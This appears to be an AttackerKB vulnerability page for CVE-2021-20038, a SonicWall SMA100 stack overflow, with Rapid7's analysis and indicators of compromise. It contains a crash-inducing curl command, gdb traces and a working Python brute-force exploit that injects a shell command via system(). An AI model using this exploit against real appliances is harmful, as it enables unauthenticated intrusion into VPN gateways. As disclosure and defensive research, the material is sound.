Attacker Value
Very High
(2 users assessed)
Exploitability
Low
(2 users assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
9

CVE-2021-20038

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Credential Access
Techniques
Validation
Validated
Defense Evasion
Techniques
Validation
Validated
Initial Access
Techniques
Validation
Validated

Description

A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server’s mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a ‘nobody’ user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.

Add Assessment

1
Ratings
Technical Analysis

Exploited by North Korean state-sponsored attackers according to a July 2024 bulletin from multiple U.S. government agencies: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a

Also made CISA’s “Routinely Exploited Vulnerabilities” list for 2022 (published in August 2023).

1
Ratings
Technical Analysis

This unauthenticated and remote stack-based buffer overflow allows an attacker to execute code on the remote SMA 100 series target. Exploitation can be a challenge though. For additional details, see the Rapid7 analysis.

General Information

Vendors

  • SonicWall

Products

  • SonicWall SMA100

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

Description

On December 7, 2021, SonicWall released new firmware for their Secure Mobile Access (SMA) 100 series. SonicWall issued a security advisory on January 11, 2022 notifying users that the December releases fixed security issues found by Rapid7. The most critical issue, an unauthenticated stack-based buffer overflow in the web interface, allows remote attackers to execute arbitrary code as the nobody user. The vulnerability was assigned CVE-2021-20038 and has a CVSS score of 9.8.

Prior to publication of this AttackerKB, no public proof of concept exploit existed. However, this entry contains proof of concept exploits and an extended discussion about crafting a payload to achieve unauthenticated remote code execution. This issue is not yet known to have been exploited in the wild.

Affected products

The following firmware versions for the SMA 100 series are affected:

  • 10.2.1.2-24sv and earlier
  • 10.2.1.1-19sv and earlier
  • 10.2.1.0-17v and earlier

Neither the 9.x or 10.2.0.x versions are affected.

Rapid7 analysis

Note that the offsets and addresses discussed in this analysis are from SMA 10.2.1.1-19sv and they may vary slightly between versions.

CVE-2021-20038 is a stack-based buffer overflow that occurs within the httpd binary. The SonicWall SMA 100 series uses a modified version of the Apache HTTP server. One of the SonicWall modifications introduced this vulnerability. The issue arises from how environment variables are concatenated into a string within mod_cgi.so. Because the attacker-provided QUERY_STRING is not subject to any type of length check, an attacker can overflow a stack-based buffer via strcat.

query

An overly long QUERY_STRING will also cause future bounds checks on the buffer to fail due to an integer overflow, resulting in a series of strcat calls that further exceed the bounds of the stack-based buffer.

The following curl command demonstrates crashing the HTTP server:

albinolobster@ubuntu:~$ curl --insecure "https://10.0.0.7/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
curl: (52) Empty reply from server

From the view of gdb the final strcat call looks like the following. Note that the vulnerable buffer starts at 0xbfb6ae42 and is supposed to be limited to 400 bytes.

Breakpoint 1, 0xb69a88c3 in ?? () from /lib/mod_cgi.so
(gdb) disas 0xb69a88c3,0xb69a88c8
Dump of assembler code from 0xb69a88c3 to 0xb69a88c8:
=> 0xb69a88c3:  call   0xb69a6a0c <strcat@plt>
End of assembler dump.
(gdb) x/2wx $esp            	 
0xbfb6acc0: 	0xbfb6ae42  	0x0969e9a8
(gdb) printf "%s\n", 0xbfb6ae42  
10.0.0.9 QUERY_STRING=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED=1SCRIPT_URL=/SCRIPT_URI=https://10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=42326GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GET
(gdb) printf "%s\n", 0x0969e9a8  
REQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb)

The overflow results in a crash that occurs due to an invalid memory access.

Program received signal SIGSEGV, Segmentation fault.
0xb69a8fe9 in ?? () from /lib/mod_cgi.so
(gdb) disas 0xb69a8fe6,0xb69a8ff9
Dump of assembler code from 0xb69a8fe6 to 0xb69a8ff9:
   0xb69a8fe6:  mov	0x8(%ebp),%eax
=> 0xb69a8fe9:  mov	0x110(%eax),%eax
   0xb69a8fef:  movl   $0x2000,0x10(%esp)
   0xb69a8ff7:  movl   $0x0,0x14(%esp)
End of assembler dump.
(gdb) print $eax
$1 = 1094795585
(gdb) x/1wx $eax            	 
0x41414141: 	Cannot access memory at address 0x41414141
(gdb) bt
#0  0xb69a8fe9 in ?? () from /lib/mod_cgi.so
#1  0x41413f2f in ?? ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()

In the above GDB output, you can see that mod_cgi.so attempts to dereference a pointer that had been stored at $ebp+8, but it gets the invalid address of 0x41414141 or AAAA. This is part of the “payload” we sent in the curl message. In fact, we can look back to $ebp-982 to see the entire environment array that overflowed the buffer:

(gdb) printf "%s\n", $ebp-982
10.0.0.9 QUERY_STRING=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED=1SCRIPT_URL=/SCRIPT_URI=https://10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=42326GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GETREQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCRIPT_NAME=/index.html

mod_cgi.so is attempting to load *(*($ebp+8)+0x110) in order to pass it as the first parameter to ap_get_brigade:

Overflow

ap_get_brigade is a normal Apache httpd function, so we can easily look up the source:

AP_DECLARE(apr_status_t) ap_get_brigade(ap_filter_t *next,
                                        apr_bucket_brigade *bb,
                                        ap_input_mode_t mode,
                                        apr_read_type_e block,
                                        apr_off_t readbytes)
{
    if (next) {
        return next->frec->filter_func.in_func(next, bb, mode, block,
                                               readbytes);
    }
    return AP_NOBODY_READ;
}

The parameter that we’ve overwritten with the buffer overflow is the first parameter: ap_filter_t* next. This pointer, if it isn’t null, is used to call a function stored in memory. In theory, because the attacker overwrote this pointer, they can control the function being called, therefore resulting in unauthenticated remote code execution.

Writing an RCE Exploit

Under normal circumstances, a stack-based buffer overflow like this would typically be exploited by using ret to return to an address of the attacker’s choice. However, due to the way logic flows in mod_cgi.so, the attacker can’t reach a controllable ret without first running into a long series of unavoidable potential memory access violations. As such, the most viable exploitation vector is by controlling the function call in ap_get_brigade.

Before we talk about writing an exploit, we need to understand the exploitation mitigations deployed on the system and how, in particular, httpd is affected by them.

root@sslvpn:~ # cat /proc/sys/kernel/randomize_va_space                                                                                                                                              
2

Here we can see that SonicWall SMA 100 series enables full address space layout randomisation (ASLR) which means we should expect the stack, heap, libraries, and the main executable to all load at random addresses.

However, there are a few things about httpd that weakens ASLR. The first is that the main executable, httpd, is not compiled as a position independent executable so it does not load with a random base address. It will predictably load at 0x8048000 every single time.

root@sslvpn:~ # cat /proc/26775/maps                                                                                                                                                                 	 
08048000-080e0000 r-xp 00000000 01:00 100949 	/usr/src/EasyAccess/bin/httpd
080e0000-080e3000 rw-p 00098000 01:00 100949 	/usr/src/EasyAccess/bin/httpd
080e3000-080e6000 rw-p 00000000 00:00 0

Furthermore, the httpd server uses Apache’s prefork feature.

root@sslvpn:~ # /usr/src/EasyAccess/bin/httpd -l                                                                                                                                                     	 
Compiled in modules:
  core.c
  mod_so.c
  http_core.c
  prefork.c

That means that httpd forks a series of child processes to handle incoming HTTP requests. This is important because a forked child process has the exact same memory layout as the parent process. Which means that all the children will have the exact same stack, heap, and library addresses as the parent process. And, perhaps equally important to note, is that when a child process crashes, the main httpd executable simply forks a new one to replace it. Which opens up the opportunity for the attacker to guess valid addresses.

Exploitation of ap_get_brigade from our overflow is somewhat challenging in that it requires three dereferences and a pretty specific memory layout to control the function call. We did write a little program to hunt for such gadgets, and did ultimately find a couple but they weren’t usable (e.g. just resulted in new and frustrating memory access violations).

Without existing gadgets, we need to introduce the desired pattern to the system ourselves. That means getting the pattern in the heap or stack, and guessing it’s location correctly. The heap space for httpd is actually quite large and, while the attacker can get an exploitable pattern into heap memory, predicting the address that uclibc might malloc it to was not an exercise we wanted to undertake (although quite likely doable). Which left me with introducing the exploitable pattern to the stack.

There are a couple of benefits to using the stack in this case. The first of which is that, because httpd is a 32-bit executable, the stack’s top address only has 11-bits of randomness applied to it.

Byte 1 Byte 2 Bytes 3 Byte 4
0xbf Highest bit always set lowest 4 bits always 0 for page alignment page aligned (aka 0)

Which means we know that the stack’s top address will always be in the range of 0xbf800000 to 0xbffff000. Which narrows the potential stack top addresses to 2047 possibilities. Of course, we then need to guess the address of the actual $ebp+8 overwrite to land our exploit. But, we know that is going to be somewhere close to the top of the range. If we naively brute force a range of 0x2000 addresses for each top stack address then we should successfully guess the correct address within 16 million HTTP requests.

16 million is so many requests! It sure is. But remember, this is just a naive approach, likely vastly improved by someone who needs this to land. We are only establishing it’s possible. But we can still reduce this count a little bit more. We know that our target address will always be aligned to 0. Which reduces the number of required requests to 1 million HTTP requests.

An astute reader and experienced exploit dev might point out that we can further reduce the number of requests by repeating the exploit over and over again in our payload. A great idea! Unfortunately, we have to contend with a variety of factors that limit our ability to repeat the exploit:

  1. The QUERY_STRING does not get url decoded so we can’t (reasonably) use the biggest part of the exploit to actually… exploit.
  2. The requested page does get URL decoded but there are limitations on size and decoding %00.
  3. The stack-based buffer overflow occurs so close to the top of the stack that an exploit that exceeds 1700 bytes risks either generating aa memory access violation by accessing top address +1 or simply overwriting a global variable we might need later (e.g. the env[] when calling system).
  4. A bunch of uninteresting, useless, or repeated environment variables are outside of our control and fill up a lot of the 1700 bytes.

Given those constraints, we wrote an exploit that attempted to brute force the exploitable address by sending all ~1 million HTTP GET requests. Again, it needs to be stressed that this can be improved greatly, and the following only serves as a “this is possible” type thing.

import socket
import ssl
import time

base = 0xbf800000
curr = base
step = 0x1000
base_array = []
while curr != 0xbffff000:
	base_array.append(curr)
	curr += step

print("Generated " + hex(len(base_array)) + " stack top addr")

all_array = []
for base in base_array:
	search_start = base - 0x2800
	search_end = base - 0x0800
	curr = search_start
	while curr != search_end:
    	curr += 0x10
    	all_array.append(curr)

print("Generated " + hex(len(all_array)) + " search addresses")

print("Sending sploits...")
for address in all_array:
	print(hex(address), end='\r')
	address -= 0x110
	address += 4
	# transform bytes into url encoded
	one = (address >> 24) & 0x000000ff
	two = (address >> 16) & 0x000000ff
	three = (address >> 8) & 0x000000ff
	four = (address & 0x000000ff)

	if one == 0 or two == 0 or three == 0 or four == 0:
    	# the server won't accept a null byte
    	continue

	addr_one = b"%" + str.encode('{:02x}'.format(four, 'x')) + b"%" + str.encode('{:02x}'.format(three, 'x')) + b"%" + str.encode('{:02x}'.format(two, 'x')) + b"%" + str.encode('{:02x}'.format(one, 'x'))

	address += 0x110
	address += 4

	# transform bytes into url encoded
	one = (address >> 24) & 0x000000ff
	two = (address >> 16) & 0x000000ff
	three = (address >> 8) & 0x000000ff
	four = (address & 0x000000ff)
    
	if one == 0x28 or two == 0x28 or three == 0x28 or four == 0x28:
    	# oh no the guy that wrote this is a hack! Should have
    	# shifted the payload so meta characters wouldn't matter.
    	# oh well :(
    	continue

	addr_two = b"%" + str.encode('{:02x}'.format(four, 'x')) + b"%" + str.encode('{:02x}'.format(three, 'x')) + b"%" + str.encode('{:02x}'.format(two, 'x')) + b"%" + str.encode('{:02x}'.format(one, 'x'))
	system_addr = b"%64%b8%06%08"
	shell_cmd = b";{touch,/tmp/lol};"

	#payload = ((b"%94%d7%ba%bf") + (b"%a8%d8%ba%bf") + (b"%a8%d8%ba%bf") + (b"%64%b8%06%08") + b";{touch,/tmp/lol};")*2
	exploit = addr_one + addr_two + addr_two + system_addr + shell_cmd

	payload = exploit*2
	spray_pray = b"/" + payload + b"?" + (b'z'*518)
	request = b'GET ' + spray_pray + b'\r\n\r\n'

	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	wrappedSocket = ssl.wrap_socket(sock)

	wrappedSocket.connect(("10.0.0.7", 443))
	wrappedSocket.send(request)
	wrappedSocket.recv(1280)
	wrappedSocket.close()

The most interesting part of the exploit is the generation of the GET request. Which, for example, will look something like this to the HTTP server:

GET /%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};?zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

The exploit payload (which is repeated twice, although the exploit doesn’t capitalize on this) is four addresses and a string to pass to system:

  1. 0xbf7fd704
  2. 0xbf7fd818
  3. 0xbf7fd818
  4. 0x0806b864
  5. ;{touch,/tmp/lol};

The first address, when added with 0x110 and dereferenced, will resolve to the second address. When dereferenced, the second address points to the third and the third address plus four points to the fourth, which will resolve into a call to system. The string passed to system starts at 0xbf7d818 so there are a handful of bad characters before /bin/sh reaches touch /tmp/lol.

Testing the exploit on a target with a top stack address of 0xbfb6c000 resulted in successful exploitation after 4 hours and 43 minutes.

root@sslvpn:~ # date
Thu Nov 25 03:29:39 PST 2021
root@sslvpn:~ # ls -l /tmp/lol 
ls: cannot access /tmp/lol: No such file or directory
root@sslvpn:~ # ls -l /tmp/lol
-rw-r--r-- 1 nobody nobody 0 Nov 25 08:05 /tmp/lol

As you can see, the attacker gains execution as nobody.

The above exploit is bad for a bunch of reasons. Some follow:

  1. Could use a repeating pattern to guess multiple addresses in one HTTP request.
  2. Could use a smaller scan range (0x800 – 0x2800 is a very generous range).
  3. The exploit breaks if address 3 has bad shell characters in it (e.g. ().

The exploit also doesn’t consider alignment issues that would occur due to:

  1. The target using a hostname that isn’t sslvpn.
  2. A target IP and host IP that aren’t 8 bytes long.
  3. A destination port that isn’t 3 bytes long
  4. A source port that isn’t 5 bytes long.

None-the-less, this alone shows that even with challenges, this issue is absolutely exploitable and should be patched as soon as reasonably possible. We also addressed a number of these issues in a more mature exploit with a weaponized payload that you can find on GitHub.

Indicators of Compromise

The attack, especially as written above, is fairly noisy. The best place to look for indicators of compromise is the httpd.log. This can be retrieved via the web interface: System –> Diagnostics –> Tech Support Report –> Download Report. The httpd.log file will be within the zip archive. Logged segmentation faults are potential signs of compromise. Here is a snippet from my system’s httpd.log after exploitation:

[Thu Nov 25 13:30:11.805181 2021] [core:notice] [pid 1779] AH00052: child pid 30485 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.805375 2021] [core:notice] [pid 1779] AH00052: child pid 30486 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.805571 2021] [core:notice] [pid 1779] AH00052: child pid 30487 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.805765 2021] [core:notice] [pid 1779] AH00052: child pid 30488 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843348 2021] [core:notice] [pid 1779] AH00052: child pid 30489 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843583 2021] [core:notice] [pid 1779] AH00052: child pid 30490 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843785 2021] [core:notice] [pid 1779] AH00052: child pid 30491 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843983 2021] [core:notice] [pid 1779] AH00052: child pid 30492 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.844214 2021] [core:notice] [pid 1779] AH00052: child pid 30493 exit signal Segmentation fault (11)

Realistically, an attacker can delete this log file shortly after exploiting the system, but it’s worthwhile for catching both exploitation attempts and attackers that don’t properly clean up after themselves.

The status.txt log might also be of interest. Specifically, it displays all ps output showing all running processes. Unfortunately, reviewing this log requires some familiarity with things that should and should not be running on the system which can be very hard to know for a layperson. Reviewing this output on my system, we can easily identify gdb and busybox as anomalies.

Processes
-----------------------------------------------------------------
USER   	PID %CPU %MEM	VSZ   RSS TTY  	STAT START   TIME COMMAND
root     	1  0.0  0.0   2068   584 ?    	Ss   Nov27   0:42 init [3]  
root     	2  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kthreadd]
root     	3  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [ksoftirqd/0]
root     	4  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kworker/0:0]
root     	5  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/0:0H]
root     	6  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kworker/u4:0]
root     	7  0.0  0.0  	0 	0 ?    	S	Nov27   2:12 [rcu_sched]
root     	8  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [rcu_bh]
root     	9  0.0  0.0  	0 	0 ?    	S	Nov27   0:06 [migration/0]
root    	10  0.0  0.0  	0 	0 ?    	S	Nov27   0:15 [migration/1]
root    	11  0.0  0.0  	0 	0 ?    	S	Nov27   0:01 [ksoftirqd/1]
root    	13  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/1:0H]
root    	14  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [khelper]
root    	15  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [netns]
root   	461  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [writeback]
root   	463  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bioset]
root   	465  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kblockd]
root   	622  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [ata_sff]
root   	632  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [khubd]
root   	742  0.0  0.0  	0 	0 ?    	S	Nov27   0:01 [kworker/0:1]
root   	757  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kswapd0]
root   	758  0.0  0.0  	0 	0 ?    	SN   Nov27   0:00 [ksmd]
root   	825  0.0  0.0  	0 	0 ?    	SN   Nov27   0:00 [khugepaged]
root   	826  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [fsnotify_mark]
root   	845  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [crypto]
root  	1011  0.0  0.0  	0 	0 ?    	S	Nov27   0:01 [kworker/1:1]
root  	1061  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [iscsi_eh]
root  	1065  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/0:1H]
root  	1069  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fc_exch_workque]
root  	1070  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fc_rport_eq]
root  	1071  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fcoethread/0]
root  	1072  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fcoethread/1]
root  	1075  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fnic_event_wq]
root  	1076  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fnic_fip_q]
root  	1078  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2fc_l2_threa]
root  	1079  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2fc_thread/0]
root  	1080  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2fc_thread/1]
root  	1107  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [scsi_eh_0]
root  	1149  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2i_thread/0]
root  	1150  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2i_thread/1]
root  	1197  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bond0]
root  	1244  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [cnic_wq]
root  	1246  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [cxgb4]
root  	1257  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kworker/1:2]
root  	1308  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [deferwq]
root  	1322  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kjournald]
root  	1328  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [loop0]
root  	1407  0.0  0.0  13752  2744 ?    	Sl   Nov27   1:45 /usr/sbin/vmtoolsd
root  	1408  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/1:1H]
root  	1435  0.0  0.0   2376   588 ?    	Ss   Nov27   0:00 /usr/sbin/fcron
root  	1447  0.0  0.4  19712 16996 pts/1	S+   03:51   0:00 ./gdb -p 30092
root  	1483  0.0  1.4  93152 59728 ?    	Sl   Nov27   0:55 /usr/bin/python3.6 /usr/src/EasyAccess/www/python/authentication_api/restful_api.py
nobody	1526  0.0  0.0  	0 	0 ?    	Z	03:52   0:00 [staticContent] <defunct>
root  	1551  0.0  0.2  20720 11124 ?    	Ss   Nov27   1:42 /usr/src/EasyAccess/bin/smm -d
root  	1627  0.0  0.0   1904   224 ?    	Ss   Nov27   0:00 /usr/sbin/ntpUpdate -d -i 3600 -p time.nist.gov -s time.windows.com
root  	1634  0.0  0.0   2120   596 ?    	Ss   Nov27   0:00 /usr/sbin/syslogd -m 0
root  	1639  0.0  0.0   3136  1684 ?    	Ss   Nov27   0:00 /usr/sbin/klogd -c 1
root  	1712  0.0  0.0  13208  1980 ?    	Ss   Nov27   0:00 /usr/sbin/crlUpdate -d -i 1440
root  	1719  0.0  0.0  13828  1968 ?    	Ss   Nov27   0:03 htcacheclean -nti -d60 -l5M -p/var/webcache
root  	1735  0.0  0.0  13164  1740 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/anonySessionD
root  	1737  0.0  0.0  13164  1492 ?    	S	Nov27   0:00 /usr/src/EasyAccess/bin/anonySessionD
root  	1740  0.0  0.0  14320  3484 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/firebase -d
root  	1748  0.0  0.3  45472 15316 ?    	Sl   Nov27   0:00 /usr/bin/node /usr/src/EasyAccess/bin/js/master.js
root  	1749  0.0  0.0   2080   268 ?    	S	Nov27   0:00 cat
root  	1752  0.0  0.3  45308 15408 ?    	Sl   Nov27   0:00 /usr/bin/node --debug-port=5859 /usr/src/EasyAccess/bin/js/ssoProxy.js
root  	1760  0.0  0.0  13616  2116 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/wireguard -d
root  	1779  0.8  0.2  23468  8940 ?    	Ss   Nov27  21:47 /usr/src/EasyAccess/bin/httpd
root  	1805  0.0  0.0  13852  2556 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/ftpsession -d
root  	1811  0.1  0.0  13916  3936 ?    	S<s  Nov27   2:51 /usr/src/EasyAccess/bin/graphd -d
root  	1820  0.0  0.0  13356  1816 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/rootHelper -d
root  	1832  0.0  0.0  54412  2548 ?    	Ssl  Nov27   0:04 /usr/src/EasyAccess/bin/dhcpcd -d
root  	1851  0.0  0.1  15968  5260 ?    	Ss   Nov27   0:06 /usr/src/EasyAccess/bin/nxlog -d
root  	1867  0.0  0.0  13304  3152 ?    	S	Nov27   0:00 /usr/src/EasyAccess/bin/downloadclient -d
root  	1893  0.0  0.0  13204  2512 ?    	S	Nov27   0:00 /usr/sbin/LicenseManager
root  	1894  0.0  0.0  13200  2600 ?    	S	Nov27   0:00 /usr/sbin/PKGDownload
root  	1897  0.0  0.0  13772  3708 ?    	Ss   Nov27   0:16 /usr/src/EasyAccess/bin/HA -d
root  	1922  0.0  0.1  15224  5976 ?    	Ss   Nov27   0:00 /usr/sbin/updateAgent -d
root  	1923  0.0  0.0  13172  2556 ?    	S	Nov27   0:06 /usr/sbin/watchdog
root  	1924  0.0  0.1  13708  4948 ?    	S	Nov27   0:14 /usr/sbin/swMonitor
root  	2205  0.0  0.0  	0 	0 ?    	S	Nov28   0:00 [kworker/u4:2]
root  	2379  0.0  0.0   2048   432 tty1 	Ss+  Nov27   0:00 /sbin/mingetty tty1
root  	2380  0.0  0.0   2048   432 tty2 	Ss+  Nov27   0:00 /sbin/mingetty tty2
